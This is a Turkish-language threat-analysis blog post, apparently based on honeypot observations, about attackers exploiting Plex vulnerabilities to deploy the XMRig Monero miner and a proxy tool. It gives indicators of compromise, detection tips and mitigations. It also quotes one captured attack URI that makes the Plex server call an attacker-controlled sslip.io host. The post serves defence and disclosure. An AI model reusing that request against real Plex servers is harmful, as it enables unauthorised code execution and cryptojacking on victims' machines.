Plex Zafiyetlerinden Yararlanarak Kripto Madenciliği
Plex Zafiyetlerinden Yararlanarak Kripto Madenciliği
Plex, kullanıcıların medya içeriklerini kolayca erişimli hale getirmesini sağlayan popüler bir medya sunucu yazılımıdır. Ancak, 2026 yılında ortaya çıkan güvenlik zafiyetleri, bu güvenli sistemde bile ciddi risklere yol açmıştır. Özellikle uzaktan kripto madenciliği gibi hedeflerle bağlantılı saldırganların bu zafiyetleri nasıl kullandığı, gerçek dünya saldırılarında büyük bir ilgi çekmiştir. Bu yazıda, bu saldırganların nasıl hareket ettiğini, adımlarını ve kullandıkları teknikleri adım adım inceleyeceğiz.
Plex'in Zafiyetleri ve Uzaktan Kode Yürütme (RCE)
Plex, 2026 yılının Eylül ayında güvenlik açıkları nedeniyle acil bir güncelleme yayınlamıştı. Bu açıklar, CVE-2026-96652, CVE-2026-96654, CVE-2026-96655 ve CVE-2026-96656 adlı dört ayrı güvenlik zafiyetini içeriyordu. Bu zafiyetlerin bir araya getirilmesiyle, saldırganların uzaktan kod çalıştırma (RCE) yeteneği elde etmesi mümkün hale gelmişti.
Bu zafiyetlerin temelinde, Plex’in /player/timeline/subscribe endpoint’ine yapılan özel bir istekle birlikte, kendi sistemine erişim sağlayan bir komut yürütme mekanizması yatıyordu. Bu, saldırganların hedef sistemde herhangi bir komutun çalıştırılmasını sağlayabilmesi anlamına geliyordu.
Saldırının Gerçek Dünya Uygulaması: Honeypot Üzerinde Gözlemler
Bir bilgi güvenliği uzmanı olarak, bu saldırganın nasıl çalıştığını anlamak için bir honeypot (tuzak sistem) kuruldu. Bu sistem, zafiyetli bir Plex sürümüne sahip ve dış dünyadan erişilebilir bir ortam olarak kullanıldı. Honeypot, sadece girişlerin kaydedildiği bir sistemdi; ancak saldırganların gerçek dünyada nasıl hareket ettiğini anlamak için bu platformda olaylar gözlemleniyordu.
İlk Saldırı: 45.194.92.222
17 Ekim 2026 tarihinde, 45.194.92.222 IP adresinden gelen ilk saldırıya rastlandı. Saldırgan, /player/timeline/subscribe endpoint’ine özel bir HTTP isteği gönderdi. Bu istekte, user_agent olarak Python-urllib/3.10 kullanıldığı görüldü. Bu, saldırganın bir otomasyon aracı veya kendi geliştirilmiş bir script kullandığını gösteriyordu.
İstekteki uri parametresi, çok ilginç bir yapıya sahipti:
/.../searchOne?mediaType=1&lang=en&identifier=com.plexapp.agents.thetvdb%2Ffunction%2FGetResultFromNetwork%3Furl%3Dhttp%3A%2F%2F127.0.0.1.45-194-92-222.sslip.io%3A8952%2FTKN_1681033e9a73_17471%23
Bu, saldırganın, kendi sunucularına yönlendiren bir DNS dönüşümü (subdomain) kullanarak hedef sistemdeki bir komutun çalıştırılmasını sağladığını gösteriyor. Bu tür bir teknikle, saldırgan, hedef sistemdeki istemciye bir komut gönderip, bu komutun geri dönüşüne (callback) bağlı olarak bir dosya indirme işlemi başlatıyordu.
Saldırının Geliştirilmesi: Docker ve Kripto Madenciliği
Saldırının bir sonraki aşamasında, saldırganın 217.60.194.116 IP adresinden bir dosya indirdiğini tespit edildi. Bu dosya, bir Docker konteyneri içeren bir yapıya sahipti. İçindeki dosya, aşağıdaki şekilde bir kripto madenciliği aracı olan XMRig’i barındırıyordu.
Dosya Analizi
- Docker dosyası:
5712ef510481f15fe8b18fdd10b73026d57cb3d9d151878a692358b99a464441 - XMRig dosyası (UPX sıkıştırılmış):
68938fb428f2bcfef4ede62f7b29cd0f15f37ed59e94462c099f2ca64e36baa7 - XMRig dosyası (UPX açılmış):
b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49
Bu dosyalar, kripto madenciliği amacıyla tasarlanmış ve sistemdeki CPU kaynaklarını kullanarak Monero (XMR) madenciliği yapmak üzere yapılandırılmıştı. Kripto madenciliği, hedef sistemin performansını düşürerek kullanıcı deneyimini olumsuz etkileyebilir.
Saldırının Gelişimi: Proxy ve Ek Aktiviteler
Saldırının devamında, saldırganın başka bir tür uygulama da kullanmaya başladığını gözlemledik. "myawesomeproxy" adlı bir yazılım, sistemde çalıştırılmaya başlanmıştı. Bu yazılım, proxy olarak işlev görerek, hedef sistemin internet trafiğini yönlendirerek, saldırganın başka hedeflere erişmesini sağlayabiliyordu.
Proxy Uygulaması
- Dosya adı:
myawesomeproxy - Hash:
e546b10aee5edc754da4f9b0baace00392257121911f630145078eafad1e6bd9 - İlgili dosya:
xmrig(kripto madenciliği)
Bu tür bir proxy, saldırganın konumundan uzakta bir sistem üzerinden daha fazla bir saldırı yapmasına olanak sağlıyor. Özellikle evdeki bir cihaz üzerinden bir şirketin VPN’ine erişmek isteyen saldırganlar, bu tür araçları kullanarak kayıtsız yerlerde (residensiyel IP’ler) geçiş yapabilir.
Saldırının Neden Bu Kadar Tehlikeli Olduğunu Anlamak
Plex’in genelde evdeki cihazlarda çalıştığı düşünüldüğünde, bu tür bir saldırı, sistemlerin güvenliğini doğrudan tehdit ediyor. Saldırganın hem kripto madenciliği yapması hem de proxy olarak kullanması, bu cihazın bir "havuz" haline gelmesini sağlıyor. Bu durumda, hedef kullanıcı, bilmeden sistem kaynaklarını başkalarına sunmuş oluyor.
Ayrıca, saldırganın kullandığı Python-urllib/3.10 gibi araçlar, otomatik ve sıradan gibi görünen bir davranışla çalıştırılabilir. Bu, güvenlik duvarları ve antivirüs yazılımlarının bu tür saldırıları tespit etmesini zorlaştırıyor.
Saldırıyı Tespit Etme ve Korunma Yöntemleri
Bu saldırganın nasıl çalıştığını anladığımıza göre, bu tür saldırıları nasıl tespit edebiliriz?
Tespit Yöntemleri
-
Log Analizi: Sistem loglarında,
/player/timeline/subscribeendpoint’ine yapılan anormal isteklerin tespit edilmesi çok önemlidir. Özellikleuser_agentkısmında Python-urllib gibi araçların kullanılması, şüpheli bir davranıştır. -
Docker Konteyneri Oluşturulması: Sistemde beklenmedik bir Docker konteynerinin oluşturulması, saldırganın sistemde bir yazılım çalıştırma girişiminde bulunduğunu gösterir.
-
Dışarıya Bağlantılar: Sistemde, bilinmeyen bir IP adresine (örneğin 217.60.194.116) dışarıya yapılan bağlantıların tespiti, bir dosya indirme işlemi olduğunu gösterir.
-
CPU ve RAM Kullanımı: Kripto madenciliği, sistemde yüksek CPU kullanımı sağlar. Sistem performansında ani bir düşüş, bu tür bir saldırganın işlediğini gösterir.
Korunma Adımları
-
Plex'in En Son Sürümünü Kullanın: Güvenlik açıklarının tamamı 2026 Eylül ayında düzeltildi. Sürüm güncelleme, bu saldırganların sistemlerde çalışmasını engeller.
-
Dışarıya Bağlantıları Kontrol Edin: Sistemdeki dış bağlantıları sınırlayarak, saldırganın dosya indirebilmesini engelleyin.
-
Honeypot veya Eylem İzleme Sistemi Kullanın: Gerçek zamanlı olarak sistemdeki aktivitelerin izlenmesi, saldırganın ilk eylemlerini erkenden tespit etmemizi sağlar.
Sonuç: Sistemlerin Güvenliği Ne Kadar Kritik?
Plex, kullanıcıların medya akışlarını kolaylaştırırken, bu tür güvenlik zafiyetleri, kullanıcıların sistemlerini tehlikeye atabilir. Bu saldırı, sadece bir kripto madenciliği değil, aynı zamanda sistemlerin kontrolünü ele geçirme potansiyeline sahiptir.
Saldırganların bu tür zafiyetleri kullanarak uzaktan erişim, veri çalma, yazılım indirme gibi birçok hedefi gerçekleştirmesi mümkün. Bu nedenle, kullanıcılar sadece yazılımı güncel tutmakla kalmamalı, aynı zamanda sistemlerdeki güvenlik açıklarını sürekli izlemeli ve anormal davranışları tespit etmeye çalışmalıdır.
İlgili IP Adresleri ve Dosya Hashleri (IOCs)
Aşağıdaki bilgiler, bu saldırganın izlenmesi ve tespiti için kullanılabilir:
Saldırgan IP Adresleri
- 45.194.92.222
- 91.92.40.202
- 176.65.139.228
Dosya İndirme Kaynağı
- 217.60.194.116
Hashler
- Docker:
5712ef510481f15fe8b18fdd10b73026d57cb3d9d151878a692358b99a464441 - XMRig (UPX sıkıştırılmış):
68938fb428f2bcfef4ede62f7b29cd0f15f37ed59e94462c099f2ca64e36baa7 - XMRig (UPX açılmış):
b20f39fc00d242e706b6c30367ad811c676e0575050a4ec2f30104b696944b49 - MyAwesomeProxy:
e546b10aee5edc754da4f9b0baace00392257121911f630145078eafad1e6bd9
Kaynaklar ve Ek Bilgiler
Bu saldırının analizi, bilgi güvenliği alanında bir ders niteliğindedir. Özellikle sistemlerin güncel tutulması, sistem izleme ve anormal aktivitelerin tespiti, bu tür saldırganlara karşı en güçlü savunma yöntemleridir.
